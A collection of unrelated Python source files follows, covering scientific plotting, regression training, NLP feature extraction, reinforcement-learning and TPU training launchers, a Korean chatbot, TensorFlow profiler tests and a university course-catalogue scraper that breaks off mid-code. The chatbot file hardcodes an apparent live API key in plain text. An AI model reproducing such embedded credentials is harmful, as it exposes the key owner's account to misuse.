0]) ax2 = plt.subplot(gs[4:5, 0]) ax3 = plt.subplot(gs[0:4, 1]) ax4 = plt.subplot(gs[4:5, 1]) # colors = ['b', 'y', 'g', 'c', 'm', 'b', 'y', 'g', 'c', 'm', ] colors = ['C0', 'C1', 'C2', 'C3', 'C4', 'C5', 'C6', 'C7', 'C8', 'C9'] for i in range(n_snapshots): ps_dm_cholla = data_all[i,0] ps_gas_cholla = data_all[i,1] ps_dm_enzo = data_all[i,2] ps_gas_enzo = data_all[i,3] label = 'z = {0:.1f}'.format(current_z_all[i]) c = colors[i] if i == 0: ax1.plot( k_vals, ps_dm_enzo, '--', c=c, linewidth=1, label='Enzo' ) ax3.plot( k_vals, ps_gas_enzo, '--', c=c, linewidth=1, label='Enzo' ) else: ax1.plot( k_vals, ps_dm_enzo, '--', c=c, linewidth=1 ) ax3.plot( k_vals, ps_gas_enzo, '--', c=c, linewidth=1 ) # ax1.plot( k_vals, ps_dm_cholla, c=c, linewidth=2, label=label ) ax3.plot( k_vals, ps_gas_cholla, c=c, linewidth=2, label=label ) error_dm = (ps_dm_cholla - ps_dm_enzo) / ps_dm_enzo error_gas = (ps_gas_cholla - ps_gas_enzo) / ps_gas_enzo ax2.plot( k_vals, error_dm , c=c, alpha=0.9) ax4.plot( k_vals, error_gas , c=c, alpha=0.9) ax2.axhline( y=0., color='r', linestyle='--', ) ax2.set_ylim( -1, 1) ax4.axhline( y=0., color='r', linestyle='--', ) ax4.set_ylim( -1, 1) ax1.set_ylabel( r'$P(k) $', fontsize=17) ax2.set_ylabel( 'Difference', fontsize=15) ax1.legend( loc=3) ax2.set_xlabel( r'$k \, \, [h Mpc^{-1}]$', fontsize=17) ax3.legend( loc=3) ax2.set_xlabel( r'$k \, \, [h Mpc^{-1}]$', fontsize=17) ax4.set_xlabel( r'$k \, \, [h Mpc^{-1}]$', fontsize=17) ax1.set_xscale('log') ax1.set_yscale('log') ax3.set_xscale('log') ax3.set_yscale('log') ax2.set_xscale('log') ax4.set_xscale('log') ax1.set_title('DM Power Spectrum', fontsize=18) ax3.set_title('Gas Power Spectrum ', fontsize=18) data_name = data_name = 'SIMPLE_PPMP_eta0.005_beta0.00_grav4' fig.suptitle(r' {0} '.format(data_name), fontsize=20, y=0.95) fileName = outDir + 'ps_{0}_hydro_enzo_{1}.png'.format( nPoints, data_name ) # ax1.xlim() fig.savefig( fileName, pad_inches=0.1, bbox_inches='tight', dpi=80) print 'Saved Image: ', fileName
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from pathlib import Path import numpy as np import matplotlib.pyplot as plt # For the data from src.utils.preprocess import get_houses_data # For sag method from src.sag.train_sag import sag_train from src.sag.test_sag import sag_test import src.sag.loss.squared_loss as square_sag from src.sag.accuracy.regression_acc import regression_acc as acc_sag from src.sag.visualisation.regression_visu import regression_visu as visu_sag # For sdca method from src.sdca.train_sdca import sdca_train from src.sdca.test_sdca import sdca_test from src.sdca.kernel.polynomial import polynomial_kernel from src.sdca.kernel.gaussian import gaussian_kernel from src.sdca.loss.square_loss import square_loss as square_sdca from src.sdca.steps.square_step import square_step as step_sdca from src.sdca.accuracy.regression_acc import regression_acc as acc_sdca from src.sdca.visualisation.sdca_visu import sdca_visu YOU_WANT_SAG = False YOU_WANT_SDCA = True # -- Set the options -- ADD_BIAS = True POLY_KERNEL = False # --- Get the data --- CSV_PATH = Path("data/data.csv") (ALL_TRAINS, ALL_VALIDS, ALL_TESTS, PRICES_TRAIN, PRICES_VALID, PRICES_TEST, LIST_PREPROCESS) = get_houses_data(CSV_PATH) # --- SAG --- # Set the functions, the options and the parameters FUNCTIONS_SAG = [square_sag, acc_sag, visu_sag] OPTIONS = [ADD_BIAS, False, False] # [ADD_BIAS, VISUALISATION, SHOW_PLOTS] PARAM_SAG = np.array([[0.00007, 0.0003], [0.07, 0.3]]) # [LAMBDA, ETA] if YOU_WANT_SAG: # -- Training -- print("Train the sag...") NB_TRAININGS = len(ALL_TRAINS) ACCURACIES = np.zeros(NB_TRAININGS) ACCURACY_MAX = 0 LAMBDA_OPT = 0 ETA_OPT = 0 IDX_TRY_OPT = None for idx_try in range(NB_TRAININGS): print(LIST_PREPROCESS[idx_try]) # Training with the parameters RESULTS_SAG = sag_train(ALL_TRAINS[idx_try], PRICES_TRAIN, ALL_VALIDS[idx_try], PRICES_VALID, FUNCTIONS_SAG, OPTIONS, PARAM_SAG) (ACCURACY_VALID, LAMBDA, ETA) = RESULTS_SAG # Update the global parameters ACCURACIES[idx_try] = ACCURACY_VALID print("Validation accuracy", ACCURACY_VALID) if ACCURACY_MAX < ACCURACY_VALID: ACCURACY_MAX = ACCURACY_VALID LAMBDA_OPT = LAMBDA ETA_OPT = ETA IDX_TRY_OPT = idx_try # -- Testing with the best parameters -- print("Test the sag...") PARAMETERS = [ADD_BIAS, LAMBDA_OPT, ETA_OPT] ACCURACY_TEST = sag_test(ALL_TRAINS[IDX_TRY_OPT], PRICES_TRAIN, ALL_TESTS[IDX_TRY_OPT], PRICES_TEST, square_sag, acc_sag, PARAMETERS) print("The accuracy for the test set is :", ACCURACY_TEST) print("It was made with the preprocessing :", LIST_PREPROCESS[IDX_TRY_OPT]) print("The optimal value of lambda is :", LAMBDA_OPT) print("The optimal value of eta is :", ETA_OPT) # Plot the losses plt.figure() plt.bar(np.arange(0, NB_TRAININGS, 1), ACCURACIES) plt.xlabel("Different preprocessing") plt.ylabel("Validation accuracy") plt.show() # --- SDCA --- # Set the kernel parameters and the functions if POLY_KERNEL: KERNEL = polynomial_kernel else: KERNEL = gaussian_kernel FUNCTIONS_SDCA = [square_sdca, step_sdca, POLY_KERNEL, KERNEL, acc_sdca] # Set the range of the parameters for the optimisation : box, degree or gamma if POLY_KERNEL: PARAM_SDCA = np.array([[0.1, 3], [1, 5]]) else: PARAM_SDCA = np.array([[5, 10], [0.005, 0.009]]) # [BOX, GAMMA] VISU_SDCA = [False, False, sdca_visu, None, None] # [SHOW_PLOTS, SHOW_VISU, VISUALISATION, POINTS, VALUES] if YOU_WANT_SDCA: # -- Training -- print("Train the sdca...") NB_TRAININGS = len(ALL_TRAINS) ACCURACIES = np.zeros(NB_TRAININGS) ACCURACY_MAX = 0 BOX_OPT = 0 PARAM_OPT = 0 IDX_TRY_OPT = None for idx_try in range(NB_TRAININGS): print(LIST_PREPROCESS[idx_try]) # Training with the parameters RESULTS_SDCA = sdca_train(ALL_TRAINS[idx_try], PRICES_TRAIN, ALL_VALIDS[idx_try], PRICES_VALID, FUNCTIONS_SDCA, VISU_SDCA, PARAM_SDCA) (ACCURACY_VALID, BOX, KERNEL_PARAM) = RESULTS_SDCA # Update the global parameters ACCURACIES[idx_try] = ACCURACY_VALID print("Validation accuracy", ACCURACY_VALID) if ACCURACY_MAX < ACCURACY_VALID: ACCURACY_MAX = ACCURACY_VALID BOX_OPT = BOX PARAM_OPT = KERNEL_PARAM IDX_TRY_OPT = idx_try # -- Testing with the best parameters -- print("Test the sdca...") PARAMETERS = [BOX_OPT, PARAM_OPT] ACCURACY_TEST = sdca_test(ALL_TRAINS[IDX_TRY_OPT], PRICES_TRAIN, ALL_TESTS[IDX_TRY_OPT], PRICES_TEST, FUNCTIONS_SDCA, PARAMETERS) print("The accuracy for the test set is :", ACCURACY_TEST) print("It was made with the preprocessing :", LIST_PREPROCESS[IDX_TRY_OPT]) print("The optimal value of the box is :", BOX_OPT) if POLY_KERNEL: print("The optimal degree of the polynomial kernel is :", PARAM_OPT) else: print("The optimal gamma of the gaussian kernel is :", PARAM_OPT) # Plot the losses plt.figure() plt.bar(np.arange(0, NB_TRAININGS, 1), ACCURACIES) plt.xlabel("Different preprocessing") plt.ylabel("Validation accuracy") plt.show()
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/Array/combinationSum.py
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sameersaini/hackerank
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def getCombinations(result, combination, candidates, target, startIndex): if target == 0: print(sum(combination)) result.append(combination[::]) return for i in range(startIndex, len(candidates)): if candidates[i] > target: break combination.append(candidates[i]) getCombinations(result, combination, candidates, target - candidates[i], i) combination.pop() class Solution: def combinationSum(self, candidates, target): if len(candidates) == 0: return [] candidates.sort() result = [] combination = [] getCombinations(result, combination, candidates, target, 0) return result
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from pathlib import Path from scipy.sparse import csc_matrix from sklearn.externals import joblib from sklearn.feature_extraction.text import CountVectorizer from nerds.features.base import RelationFeatureExtractor, UNKNOWN_WORD, UNKNOWN_LABEL, UNKNOWN_POS_TAG, \ UNKNOWN_DEPENDENCY, BOWFeatureExtractor from nerds.util.file import mkdir from nerds.util.logging import get_logger log = get_logger() KEY = "rel2bow" class BOWRelationFeatureExtractor(BOWFeatureExtractor, RelationFeatureExtractor): def __init__(self): super().__init__() self.key = KEY self.word_vectorizer = None self.label_vectorizer = None self.pos_vectorizer = None self.dep_vectorizer = None def transform(self, X, y=None, relation_labels=None): log.info("Generating features for {} documents...".format(len(X))) self.docs_examples = list(self.annotated_documents_to_examples(X, relation_labels=relation_labels)) ent_words = [] ent_labels = [] ent_pos_tags = [] ent_deps = [] rel_labels = [] for doc, examples in self.docs_examples: for ex in examples: ent_words += [ex.context["source.text"], ex.context["target.text"]] ent_labels += [ex.context["source.label"], ex.context["target.label"]] ent_pos_tags += [ex.context["source.pos"], ex.context["target.pos"]] ent_deps += [ex.context["dependency"]] rel_labels += [ex.label] # add unknown values ent_words += [UNKNOWN_WORD, UNKNOWN_WORD] ent_labels += [UNKNOWN_LABEL, UNKNOWN_LABEL] ent_pos_tags += [UNKNOWN_POS_TAG, UNKNOWN_POS_TAG] ent_deps += [UNKNOWN_DEPENDENCY] if not self.word_vectorizer: # first time run self.word_vectorizer = CountVectorizer(binary=True) self.label_vectorizer = CountVectorizer(binary=True) self.pos_vectorizer = CountVectorizer(binary=True) self.dep_vectorizer = CountVectorizer(binary=True) else: # use vocabularies self.word_vectorizer = CountVectorizer(binary=True, vocabulary=self.word_vectorizer.vocabulary_) self.label_vectorizer = CountVectorizer(binary=True, vocabulary=self.label_vectorizer.vocabulary_) self.pos_vectorizer = CountVectorizer(binary=True, vocabulary=self.pos_vectorizer.vocabulary_) self.dep_vectorizer = CountVectorizer(binary=True, vocabulary=self.dep_vectorizer.vocabulary_) ent_words = self._process_unknown_values( ent_words, self.word_vectorizer.vocabulary, UNKNOWN_WORD) ent_labels = self._process_unknown_values( ent_labels, self.label_vectorizer.vocabulary, UNKNOWN_LABEL) ent_pos_tags = self._process_unknown_values( ent_pos_tags, self.pos_vectorizer.vocabulary, UNKNOWN_POS_TAG) ent_deps = self._process_unknown_values( ent_deps, self.dep_vectorizer.vocabulary, UNKNOWN_DEPENDENCY) # vectorize log.info("Vectorizing {} textual entries (words)...".format(len(ent_words))) word_vectors = self.word_vectorizer.fit_transform(ent_words) log.info("Vectorizing {} textual entries (labels)...".format(len(ent_labels))) label_vectors = self.label_vectorizer.fit_transform(ent_labels) log.info("Vectorizing {} textual entries (POS tags)...".format(len(ent_pos_tags))) pos_vectors = self.pos_vectorizer.fit_transform(ent_pos_tags) log.info("Vectorizing {} textual entries (dependency types)...".format(len(ent_deps))) dep_vectors = self.dep_vectorizer.fit_transform(ent_deps) # get shapes n_wor, m_wor = word_vectors.get_shape() n_lab, m_lab = label_vectors.get_shape() n_pos, m_pos = pos_vectors.get_shape() n_dep, m_dep = dep_vectors.get_shape() # create indices rows, cols, vals = [], [], [] # ignore the last auxiliary value for row in range(n_dep - 1): for col in word_vectors.getrow(2 * row).nonzero()[1]: rows += [row] cols += [col] vals += [1] for col in word_vectors.getrow(2 * row + 1).nonzero()[1]: rows += [row] cols += [col + m_wor] vals += [1] for col in label_vectors.getrow(2 * row).nonzero()[1]: rows += [row] cols += [col + 2 * m_wor] vals += [1] for col in label_vectors.getrow(2 * row + 1).nonzero()[1]: rows += [row] cols += [col + 2 * m_wor + m_lab] vals += [1] for col in pos_vectors.getrow(2 * row).nonzero()[1]: rows += [row] cols += [col + 2 * m_wor + 2 * m_lab] vals += [1] for col in pos_vectors.getrow(2 * row + 1).nonzero()[1]: rows += [row] cols += [col + 2 * m_wor + 2 * m_lab + m_pos] vals += [1] for col in dep_vectors.getrow(row).nonzero()[1]: rows += [row] cols += [col + 2 * m_wor + 2 * m_lab + 2 * m_pos] vals += [1] # create a sparse matrix of features log.info("Creating a feature matrix...") feature_matrix = csc_matrix((vals, (rows, cols)), shape=(n_dep - 1, 2 * m_wor + 2 * m_lab + 2 * m_pos + m_dep)) return feature_matrix, rel_labels def _process_unknown_values(self, entries, vocabulary, unknown_label): entries_ref = [] for entry in entries: known_tokens = [] for token in entry.split(): if token.lower() in vocabulary: known_tokens += [token] else: known_tokens += [unknown_label] entries_ref += [" ".join(known_tokens)] return entries_ref def save(self, file_path): save_path = Path(file_path) mkdir(save_path) words_path = save_path.joinpath("words.dict") labels_path = save_path.joinpath("labels.dict") pos_path = save_path.joinpath("pos.dict") dep_path = save_path.joinpath("dep.dict") # save dictionaries # we don't save examples for now joblib.dump(self.word_vectorizer, words_path) joblib.dump(self.label_vectorizer, labels_path) joblib.dump(self.pos_vectorizer, pos_path) joblib.dump(self.dep_vectorizer, dep_path) def load(self, file_path): load_path = Path(file_path) words_path = load_path.joinpath("words.dict") labels_path = load_path.joinpath("labels.dict") pos_path = load_path.joinpath("pos.dict") dep_path = load_path.joinpath("dep.dict") # load dictionaries # we don't load examples for now self.word_vectorizer = joblib.load(words_path) self.label_vectorizer = joblib.load(labels_path) self.pos_vectorizer = joblib.load(pos_path) self.dep_vectorizer = joblib.load(dep_path) return self
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/bitmovin_api_sdk/models/dolby_digital_plus_loudness_control_mode.py
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# coding: utf-8 from enum import Enum from six import string_types, iteritems from bitmovin_api_sdk.common.poscheck import poscheck_model class DolbyDigitalPlusLoudnessControlMode(Enum): PASSTHROUGH = "PASSTHROUGH" CORRECTION = "CORRECTION"
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# Copyright 2021 Huawei # Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # _base_ = [ '../_base_/models/pspnet_r50-d8.py', '../_base_/datasets/cityscapes.py', '../_base_/default_runtime.py', '../_base_/schedules/schedule_80k.py' ]
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#!C:\Users\vedan\databases\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3.8' __requires__ = 'pip==19.0.3' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('pip==19.0.3', 'console_scripts', 'pip3.8')() )
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# coding=utf-8 # Copyright 2021 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. r"""Train an agent. """ import os from absl import app from absl import flags from dopamine.discrete_domains import run_experiment import tensorflow.compat.v1 as tf from experience_replay import run_experience_replay_experiment flags.DEFINE_string('base_dir', None, 'Base directory to host all required sub-directories.') flags.DEFINE_multi_string( 'gin_files', [], 'List of paths to gin configuration files (e.g.' '"third_party/py/dopamine/agents/dqn/dqn.gin").') flags.DEFINE_multi_string( 'gin_bindings', [], 'Gin bindings to override the values set in the config files ' '(e.g. "DQNAgent.epsilon_train=0.1",' ' "create_atari_environment.game_name="Pong"").') flags.DEFINE_string( 'schedule', 'continuous_train_and_eval', 'The schedule with which to run the experiment and choose an appropriate ' 'Runner. Supported choices are ' '{continuous_train, eval, continuous_train_and_eval}.') FLAGS = flags.FLAGS def create_runner(base_dir, create_agent_fn, schedule='continuous_train_and_eval'): """Creates an experiment Runner. TODO(b/): Figure out the right idiom to create a Runner. The current mechanism of using a number of flags will not scale and is not elegant. Args: base_dir: Base directory for hosting all subdirectories. create_agent_fn: A function that takes as args a Tensorflow session and a Gym Atari 2600 environment, and returns an agent. schedule: string, which type of Runner to use. Returns: runner: A `run_experiment.Runner` like object. Raises: ValueError: When an unknown schedule is encountered. """ assert base_dir is not None # Continuously runs training and eval till max num_iterations is hit. if schedule == 'continuous_train_and_eval': return run_experience_replay_experiment.ElephantRunner( base_dir, create_agent_fn) else: raise ValueError('Unknown schedule: {}'.format(schedule)) def launch_experiment(create_runner_fn, create_agent_fn): """Launches the experiment. Args: create_runner_fn: A function that takes as args a base directory and a function for creating an agent and returns a `Runner` like object. create_agent_fn: A function that takes as args a Tensorflow session and a Gym environment, and returns an agent. """ run_experiment.load_gin_configs(FLAGS.gin_files, FLAGS.gin_bindings) runner = create_runner_fn(FLAGS.base_dir, create_agent_fn, schedule=FLAGS.schedule) runner.run_experiment() def main(unused_argv): """This main function acts as a wrapper around a gin-configurable experiment. Args: unused_argv: Arguments (unused). """ tf.logging.set_verbosity(tf.logging.INFO) launch_experiment(create_runner, run_experience_replay_experiment.create_agent) if __name__ == '__main__': flags.mark_flag_as_required('base_dir') app.run(main)
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from domain.HighLevelNodeTypes import HighLevelNodeTypes from domain.ErrorTypes import ErrorTypes from domain.SpecialCases import SpecialCases def check_parents(cur_nodes, edge_info, nodes): parent1 = cur_nodes[0]["parent"] parent2 = cur_nodes[1]["parent"] # No nodes (except Task nodes) can have a None parent. if(parent1 is None and parent2 is None): # Edge between task return {"parent_type": HighLevelNodeTypes.NO_NODE, "error": ErrorTypes.NO_ERROR} elif(parent1 is None and parent2 is not None): # Error: since task node cannot be connected with inner nodes (non-task nodes) # Error: tasks can't include other tasks as inner nodes if(nodes[parent2]["node_type"] == HighLevelNodeTypes.TASK_NODE.value): return {"error": ErrorTypes.TASK_INSIDE_TASK_ERROR} return {"error": ErrorTypes.TASK_TO_INNER_EDGE_ERROR} elif(parent1 is not None and parent2 is None): # Error: since task node cannot be connected with inner nodes (non-task nodes) # Error: tasks can't include other tasks as inner nodes if (nodes[parent1]["node_type"] == HighLevelNodeTypes.TASK_NODE.value): return {"error": ErrorTypes.TASK_INSIDE_TASK_ERROR} return {"error": ErrorTypes.TASK_TO_INNER_EDGE_ERROR} else: # Both node have parents. # Nodes with an edge must have same parents (No Cross Edges). # -> No edges between inner nodes of different tasks # -> No edges between inner nodes and nodes under pipeline nodes/cv nodes # Determine the parent type: Task Node, Pipeline Node or CV Node... # Special nodes: # Only allow crossing edges to pipelines from an inner node iff edge carries model if(parent1 == parent2): # Siblings of same parents, satisfies conditions above... # Meta-parent will be used when the parent is pipeline node or cv node. return {"parent_id": parent1, "parent_type": HighLevelNodeTypes(nodes[parent1]["node_type"]), "meta_parent_id": nodes[parent1]["parent"], "error": ErrorTypes.NO_ERROR} else: return __check_special_cases(cur_nodes, edge_info, [nodes[parent1], nodes[parent2]]) def __check_special_cases(cur_nodes, edge_info, parents): return __is_model_edge_crossing_into_pipeline(cur_nodes, edge_info, parents) def __is_model_edge_crossing_into_pipeline(cur_nodes, edge_info, parents): if(parents[0]["node_type"] == HighLevelNodeTypes.TASK_NODE.value and parents[1]["node_type"] == HighLevelNodeTypes.PIPELINE_NODE.value): if(edge_info["type"]=="model"): edge_id=cur_nodes[0]["id"] + "-" + cur_nodes[1]["id"] return {"special_case": {"name": SpecialCases.CROSSING_MODEL_EDGE_TO_PIPELINE, "task_id": parents[0]["id"], "pipeline_id": parents[1]["id"], "model_source_id": cur_nodes[0]["id"], "model_holder_id": cur_nodes[1]["id"], "edge_info": edge_info}, "error": ErrorTypes.NO_ERROR} else: # Might add a better name for the error return {"error": ErrorTypes.NOT_SIBLING_ERROR}
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import tensorflow as tf import numpy as np import math import sys from Rnn_chatbot.config import FLAGS from Rnn_chatbot.model import Seq2Seq from Rnn_chatbot.dialog import Dialog import xml.etree.ElementTree as ET import urllib.request import os os.environ['TF_CPP_MIN_LOG_LEVEL']='2' url = "http://www.kobis.or.kr/kobisopenapi/webservice/rest/movie/searchMovieList.xml?key=" key = "2a83ee607d889ae32fca2cf9edbbe573" url = url + key class ChatBot: def __init__(self, voc_path, vector_path, train_dir): #! self.dialog = Dialog() # dialog 객체 생성 self.dialog.load_vocab(voc_path, vector_path) # dataset에서 문장들을 한 줄씩 읽고 단어장을 초기화해준다. #! chat.voc과 word_embedding.voc을 확인. self.model = Seq2Seq(self.dialog.vocab_size) # 인코딩, 디코딩 RNN 신경망들을 Deep, Wide하게 만들어주고, 모델을 생성시킨다. # self.model = Seq2Seq(200) self.sess = tf.Session() # 세션.. Run 시켜줌. tf.reset_default_graph() # 초기 그래프 리셋 ckpt = tf.train.get_checkpoint_state(train_dir) # 트레이닝 횟수 저장 self.model.saver.restore(self.sess, ckpt.model_checkpoint_path) # Variable값을 불러와서 초기화해준다. ## 모델 만들고 세션을 실행하는데, 그래프 만들고 나서 다시 받아오기 위해 saver에 저장해둔다. def run(self, sentence): # 챗봇 구동 $$$$$ # sys.stdout.write("> ") # sys.stdout.flush() # line = sys.stdin.readline() line = sentence # $$$$$ while line: print(self.get_replay(line.strip())) ### sys.stdout.write("\n> ") sys.stdout.flush() line = sys.stdin.readline() def decode(self, enc_input, dec_input): if type(dec_input) is np.ndarray: dec_input = dec_input.tolist() # 리스트로 변환 # print("enc_input in decode : ", enc_input,"dec_input in decode : ",dec_input) # TODO: 구글처럼 시퀀스 사이즈에 따라 적당한 버킷을 사용하도록 만들어서 사용하도록 if(len(enc_input) % 5 != 0): input_len = int(((len(enc_input)//5)+1)*5) # input의 길이를 설정 (5단위로 버켓팅해준다.) else: input_len = len(enc_input) # 인코딩 input의 길이가 5의 배수라면 길이 그대로 설정 # dec_input_len = int(((len(dec_input) // 5) + 1) * 5) #decoding input의 길이를 설정 (5단위로 버켓팅해준다.) # print("input_len : ", input_len) enc_input, dec_input, _ = self.dialog.transform(enc_input, dec_input, input_len, FLAGS.max_decode_len) #패딩과 one-hot vector 생성 return self.model.predict(self.sess, [enc_input], [dec_input]) #세션 실행 def get_replay(self, msg): # msg : 내가 입력한 문장 enc_input = self.dialog.tokenizer(msg, False) #문장에서 단어를 나눠준다. enc_input = self.dialog.tokens_to_ids(enc_input) #토큰화된 단어에 리스트를 입력으로 넣어준다. 단어사전에 없는 단어는 Unknown처리 dec_input = [] # TODO: 구글처럼 Seq2Seq2 모델 안의 RNN 셀을 생성하는 부분에 넣을것 # 입력값에 따라 디코더셀의 상태를 순차적으로 구성하도록 함 # 여기서는 최종 출력값을 사용하여 점진적으로 시퀀스를 만드는 방식을 사용 # 다만 상황에 따라서는 이런 방식이 더 유연할 수도 있을 듯 curr_seq = 0 for i in range(FLAGS.max_decode_len): #20개까지 output을 낼 수 있다. # print("enc_input : ", enc_input, " , dec_input : ", dec_input) outputs = self.decode(enc_input, dec_input) #패딩 및 One-hot vector생성 후 세션 실행 # print("outputs : ", outputs) if self.dialog.is_eos(outputs[0][curr_seq]): #결과값이 나온다면 break (target) break elif self.dialog.is_defined(outputs[0][curr_seq]) is not True: #Pre-defined에 정의되어 있지 않다면 dec_input.append(outputs[0][curr_seq]) #인코딩 결과에 대해서 단어 하나를 디코딩 input값으로 넣어준다. curr_seq += 1 reply = self.dialog.decode([dec_input], True) # if self.dialog.keyword : # utf_keyword = str(self.dialog.keyword[0].encode('utf-8'))[2:-1].replace('\\x', '%') # real_reply = url + "&movieNm=" + utf_keyword # # tree = ET.ElementTree(file=urllib.request.urlopen(real_reply)) # root = tree.getroot() # # reply += "\n총 " + str(len(root[1])) + "개의 영화가 있습니다.\n" # # count = "" # for i in range(0, len(root[1])): # if i < len(root[1]) - 1: # count = count + root[1][i][1].text + "\n" # else: # count = count + root[1][i][1].text + "\n" # # reply += count # self.dialog.keyword = [] return reply def main(_, sentence): # $$$$$ print("깨어나는 중 입니다. 잠시만 기다려주세요...\n") chatbot = ChatBot(FLAGS.voc_path, FLAGS.vec_path, FLAGS.train_dir) #! chat.voc, word_embedding.voc을 인자로 넣고, model폴더 안의 데이터들을 확인. chatbot.run(sentence) if __name__ == "__main__": #tf.reset_default_graph() tf.app.run()
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# 목적: pandas 문법으로 특정 행을 필터링하기 import pandas as pd import sys input_file = sys.argv[1] output_file = sys.argv[2] data_frame = pd.read_csv(input_file) data_frame['Cost'] = data_frame['Cost'].str.strip('$').astype(float) data_frame_value_meets_condition = data_frame.loc[(data_frame['Supplier Name'].str.contains('Z')) | (data_frame['Cost'] > 600.0), :] # loc 내부에 ,를 생략하면 에러발생 data_frame_value_meets_condition.to_csv(output_file, index=False )
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# Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for tf 2.x profiler.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import socket from tensorflow.python.eager import test from tensorflow.python.framework import constant_op from tensorflow.python.framework import errors from tensorflow.python.framework import test_util from tensorflow.python.platform import gfile from tensorflow.python.profiler import profiler_v2 as profiler from tensorflow.python.profiler import traceme class ProfilerTest(test_util.TensorFlowTestCase): def test_profile_exceptions(self): logdir = self.get_temp_dir() profiler.start(logdir) with self.assertRaises(errors.AlreadyExistsError): profiler.start(logdir) profiler.stop() with self.assertRaises(errors.UnavailableError): profiler.stop() # Test with a bad logdir, and it correctly raises exception and deletes # profiler. # pylint: disable=anomalous-backslash-in-string profiler.start('/\/\/:123') # pylint: enable=anomalous-backslash-in-string with self.assertRaises(Exception): profiler.stop() profiler.start(logdir) profiler.stop() def test_save_profile(self): logdir = self.get_temp_dir() profiler.start(logdir) with traceme.TraceMe('three_times_five'): three = constant_op.constant(3) five = constant_op.constant(5) product = three * five self.assertAllEqual(15, product) profiler.stop() file_list = gfile.ListDirectory(logdir) self.assertEqual(len(file_list), 2) for file_name in gfile.ListDirectory(logdir): if gfile.IsDirectory(os.path.join(logdir, file_name)): self.assertEqual(file_name, 'plugins') else: self.assertTrue(file_name.endswith('.profile-empty')) profile_dir = os.path.join(logdir, 'plugins', 'profile') run = gfile.ListDirectory(profile_dir)[0] hostname = socket.gethostname() overview_page = os.path.join(profile_dir, run, hostname + '.overview_page.pb') self.assertTrue(gfile.Exists(overview_page)) input_pipeline = os.path.join(profile_dir, run, hostname + '.input_pipeline.pb') self.assertTrue(gfile.Exists(input_pipeline)) tensorflow_stats = os.path.join(profile_dir, run, hostname + '.tensorflow_stats.pb') self.assertTrue(gfile.Exists(tensorflow_stats)) kernel_stats = os.path.join(profile_dir, run, hostname + '.kernel_stats.pb') self.assertTrue(gfile.Exists(kernel_stats)) trace_file = os.path.join(profile_dir, run, hostname + '.trace.json.gz') self.assertTrue(gfile.Exists(trace_file)) def test_profile_with_options(self): logdir = self.get_temp_dir() options = profiler.ProfilerOptions( host_tracer_level=3, python_tracer_level=1) profiler.start(logdir, options) with traceme.TraceMe('three_times_five'): three = constant_op.constant(3) five = constant_op.constant(5) product = three * five self.assertAllEqual(15, product) profiler.stop() file_list = gfile.ListDirectory(logdir) self.assertEqual(len(file_list), 2) def test_context_manager_with_options(self): logdir = self.get_temp_dir() options = profiler.ProfilerOptions( host_tracer_level=3, python_tracer_level=1) with profiler.Profile(logdir, options): with traceme.TraceMe('three_times_five'): three = constant_op.constant(3) five = constant_op.constant(5) product = three * five self.assertAllEqual(15, product) file_list = gfile.ListDirectory(logdir) self.assertEqual(len(file_list), 2) if __name__ == '__main__': test.main()
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""" Training script! """ import sys sys.path.append('../') import tensorflow as tf from model.neat_config import NeatConfig from model.interact.modeling import model_fn_builder from model.interact.dataloader import input_fn_builder config = NeatConfig.from_args("Train detector script", default_config_file='interact/configs/default_tpu.yaml') model_fn = model_fn_builder(config) estimator = tf.contrib.tpu.TPUEstimator( use_tpu=config.device['use_tpu'], model_fn=model_fn, config=config.device['tpu_run_config'], train_batch_size=config.device['train_batch_size'], eval_batch_size=config.device['val_batch_size'], predict_batch_size=config.device['val_batch_size'], # params={}, ) estimator.train(input_fn=input_fn_builder(config, is_training=True), max_steps=config.optimizer['num_train_steps'])
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#coding:utf-8 import requests from bs4 import BeautifulSoup import threading import re import os import xlwt3 headers = { 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive'} def Get_Quarter(): statue=True while statue: try: html=requests.get('https://duapp2.drexel.edu/webtms_du/app?page=Home&service=page',headers=headers,timeout=30).text statue=False except: continue table=BeautifulSoup(html,'lxml').find_all('table',attrs={'class':'termPanel'}) quarter={} for item in table[0].find_all('a'): quarter[item.get_text()]='https://duapp2.drexel.edu'+item.get('href') for item in table[1].find_all('a'): quarter[item.get_text()]='https://duapp2.drexel.edu'+item.get('href') return quarter def Get_College(url): statue=True while statue: try: html=requests.get(url,headers=headers,timeout=30).text statue=False except: continue table=BeautifulSoup(html,'lxml').find('div',id='sideLeft').find_all('a') colleges={} for item in table: colleges[item.get_text()]='https://duapp2.drexel.edu'+item.get('href') return colleges def Get_subjects(url): statue=True while statue: try: html=requests.get(url,headers=headers,timeout=30).text statue=False except: continue table=BeautifulSoup(html,'lxml').find('table',attrs={'class':'collegePanel'}).find_all('a') subjects={} for item 